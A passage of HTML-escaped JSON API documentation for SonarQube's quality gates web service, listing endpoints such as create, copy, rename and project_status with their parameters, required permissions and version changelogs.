\u0026#34;private\u0026#34;, \u0026#34;public\u0026#34; ] } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/qualitygates\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.3\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Manage quality gates, including conditions and project association.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;add_group\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Allow a group of users to edit a Quality Gate.\\u003Cbr\\u003ERequires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Administer Quality Gates\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003EEdit right on the specified quality gate\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;gateName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality Gate name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;SonarSource Way\u0026#34;, \u0026#34;maximumLength\u0026#34;: 100 }, { \u0026#34;key\u0026#34;: \u0026#34;groupName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Group name or \u0026#39;anyone\u0026#39; (case insensitive)\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sonar-administrators\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;add_user\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Allow a user to edit a Quality Gate.\\u003Cbr\\u003ERequires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Administer Quality Gates\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003EEdit right on the specified quality gate\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;gateName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality Gate name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;SonarSource Way\u0026#34;, \u0026#34;maximumLength\u0026#34;: 100 }, { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User login\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;john.doe\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;copy\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Copy a Quality Gate.\\u003Cbr\\u003E\u0026#39;sourceName\u0026#39; must be provided. Requires the \u0026#39;Administer Quality Gates\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;id\u0026#39; in the response is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; is removed. Use \u0026#39;sourceName\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; is deprecated. Format changes from integer to string. Use \u0026#39;sourceName\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;sourceName\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The name of the quality gate to create\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;My New Quality Gate\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;sourceName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The name of the quality gate to copy\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.4\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;My Quality Gate\u0026#34;, \u0026#34;maximumLength\u0026#34;: 100 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;create\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Create a Quality Gate.\\u003Cbr\\u003ERequires the \u0026#39;Administer Quality Gates\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;id\u0026#39; in the response is removed.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;id\u0026#39; in the response is deprecated. Format changes from integer to string.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The name of the quality gate to create\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;My Quality Gate\u0026#34;, \u0026#34;maximumLength\u0026#34;: 100 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;create_condition\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Add a new condition to a quality gate.\\u003Cbr\\u003EParameter \u0026#39;gateName\u0026#39; must be provided. Requires the \u0026#39;Administer Quality Gates\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;gateId\u0026#39; is removed. Use \u0026#39;gateName\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;gateName\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;gateId\u0026#39; is deprecated. Use \u0026#39;gateName\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Removed optional \u0026#39;warning\u0026#39; and \u0026#39;period\u0026#39; parameters\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Made \u0026#39;error\u0026#39; parameter mandatory\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Reduced the possible values of \u0026#39;op\u0026#39; parameter to LT and GT\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;error\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Condition error threshold\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;10\u0026#34;, \u0026#34;maximumLength\u0026#34;: 64 }, { \u0026#34;key\u0026#34;: \u0026#34;gateName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Name of the quality gate\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;SonarSource way\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;metric\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Condition metric.\\u003Cbr/\\u003E Only metric of the following types are allowed:\\u003Cul\\u003E\\u003Cli\\u003EINT\\u003C/li\\u003E\\u003Cli\\u003EMILLISEC\\u003C/li\\u003E\\u003Cli\\u003ERATING\\u003C/li\\u003E\\u003Cli\\u003EWORK_DUR\\u003C/li\\u003E\\u003Cli\\u003EFLOAT\\u003C/li\\u003E\\u003Cli\\u003EPERCENT\\u003C/li\\u003E\\u003Cli\\u003ELEVEL\\u003C/li\\u003E\\u003C/ul\\u003EFollowing metrics are forbidden:\\u003Cul\\u003E\\u003Cli\\u003Esecurity_hotspots\\u003C/li\\u003E\\u003Cli\\u003Enew_security_hotspots\\u003C/li\\u003E\\u003Cli\\u003Ealert_status\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;blocker_violations, vulnerabilities, new_code_smells\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;op\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Condition operator:\\u003Cbr/\\u003E\\u003Cul\\u003E\\u003Cli\\u003ELT = is lower than\\u003C/li\\u003E\\u003Cli\\u003EGT = is greater than\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;GT\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;LT\u0026#34;, \u0026#34;GT\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;delete_condition\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Delete a condition from a quality gate.\\u003Cbr\\u003ERequires the \u0026#39;Administer Quality Gates\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;id\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Condition UUID\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;deselect\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Remove the association of a project from a quality gate.\\u003Cbr\\u003ERequires one of the following permissions:\\u003Cul\\u003E\\u003Cli\\u003E\u0026#39;Administer Quality Gates\u0026#39;\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Administer\u0026#39; rights on the project\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The parameter \u0026#39;projectId\u0026#39; was removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The parameter \u0026#39;gateId\u0026#39; was removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;projectKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.1\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;destroy\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Delete a Quality Gate.\\u003Cbr\\u003EParameter \u0026#39;name\u0026#39; must be specified. Requires the \u0026#39;Administer Quality Gates\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; is removed. Use \u0026#39;name\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;name\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; is deprecated. Format changes from integer to string. Use \u0026#39;name\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Name of the quality gate to delete\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.4\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;SonarSource Way\u0026#34;, \u0026#34;maximumLength\u0026#34;: 100 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;get_by_project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get the quality gate of a project.\\u003Cbr /\\u003ERequires one of the following permissions:\\u003Cul\\u003E\\u003Cli\\u003E\u0026#39;Administer System\u0026#39;\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Administer\u0026#39; rights on the specified project\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Browse\u0026#39; on the specified project\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;id\u0026#39; in the response has been removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;id\u0026#39; in the response is deprecated. Format changes from integer to string.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The parameter \u0026#39;projectId\u0026#39; has been removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The parameter \u0026#39;projectKey\u0026#39; has been renamed to \u0026#39;project\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;This webservice is now part of the public API\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;list\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get a list of quality gates\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;default\u0026#39; in the response has been removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;id\u0026#39; in the response has been removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;caycStatus\u0026#39; field is added on quality gate\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.9\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;id\u0026#39; in the response is deprecated. Format changes from integer to string.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;isDefault\u0026#39; field is added on quality gate\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;default\u0026#39; field on root level is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;isBuiltIn\u0026#39; field is added in the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;actions\u0026#39; fields are added in the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.0\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;project_status\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get the quality gate status of a project or a Compute Engine task.\\u003Cbr /\\u003EEither \u0026#39;analysisId\u0026#39;, \u0026#39;projectId\u0026#39; or \u0026#39;projectKey\u0026#39; must be provided \\u003Cbr /\\u003EThe different statuses returned are: OK, WARN, ERROR, NONE. The NONE status is returned when there is no quality gate associated with the analysis.\\u003Cbr /\\u003EReturns an HTTP code 404 if the analysis associated with the task is not found or does not exist.\\u003Cbr /\\u003ERequires one of the following permissions:\\u003Cul\\u003E\\u003Cli\\u003E\u0026#39;Administer System\u0026#39;\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Administer\u0026#39; rights on the specified project\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Browse\u0026#39; on the specified project\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Execute Analysis\u0026#39; on the specified project\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The fields \u0026#39;periods\u0026#39; and \u0026#39;periodIndex\u0026#39; in the response are removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;caycStatus\u0026#39; field is added to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.9\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The \u0026#39;Execute Analysis\u0026#39; permission also allows to access the endpoint\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;periods\u0026#39; in the response is deprecated. Use \u0026#39;period\u0026#39; instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The parameters \u0026#39;branch\u0026#39; and \u0026#39;pullRequest\u0026#39; were added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.7\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;warning\u0026#39; in the response is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;ignoredConditions\u0026#39; is added to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;analysisId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Analysis id\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-TpxcA-iU5OvuD2FL1\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;branch\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Branch key\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.7\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;feature/my_branch\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;projectId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project UUID. Doesn\u0026#39;t work with branches or pull requests\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.4\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;projectKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.4\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;pullRequest\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Pull request id\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.7\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;5461\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;remove_group\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Remove the ability from a group to edit a Quality Gate.\\u003Cbr\\u003ERequires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Administer Quality Gates\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003EEdit right on the specified quality gate\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;gateName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality Gate name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;SonarSource Way\u0026#34;, \u0026#34;maximumLength\u0026#34;: 100 }, { \u0026#34;key\u0026#34;: \u0026#34;groupName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Group name or \u0026#39;anyone\u0026#39; (case insensitive)\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sonar-administrators\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;remove_user\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Remove the ability from an user to edit a Quality Gate.\\u003Cbr\\u003ERequires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Administer Quality Gates\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003EEdit right on the specified quality gate\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;gateName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality Gate name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;SonarSource Way\u0026#34;, \u0026#34;maximumLength\u0026#34;: 100 }, { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User login\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;john.doe\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;rename\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Rename a Quality Gate.\\u003Cbr\\u003E\u0026#39;currentName\u0026#39; must be specified. Requires the \u0026#39;Administer Quality Gates\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;id\u0026#39; in the response is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; is removed. Use \u0026#39;currentName\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;currentName\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; is deprecated. Format changes from integer to string. Use \u0026#39;currentName\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;currentName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Current name of the quality gate\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.4\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;My Quality Gate\u0026#34;, \u0026#34;maximumLength\u0026#34;: 100 }, { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;New name of the quality gate\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;My New Quality Gate\u0026#34;, \u0026#34;maximumLength\u0026#34;: 100 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;search\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search for projects associated (or not) to a quality gate.\\u003Cbr/\\u003EOnly authorized projects for the current user will be returned.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;deprecated \u0026#39;more\u0026#39; response field has been removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;gateId\u0026#39; is removed. Use \u0026#39;gateName\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;gateName\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;gateId\u0026#39; is deprecated. Format changes from integer to string. Use \u0026#39;gateName\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;New field \u0026#39;paging\u0026#39; in response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.9\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;New field \u0026#39;key\u0026#39; returning the project key in \u0026#39;results\u0026#39; response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.9\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;more\u0026#39; is deprecated in the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.9\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;gateName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality Gate 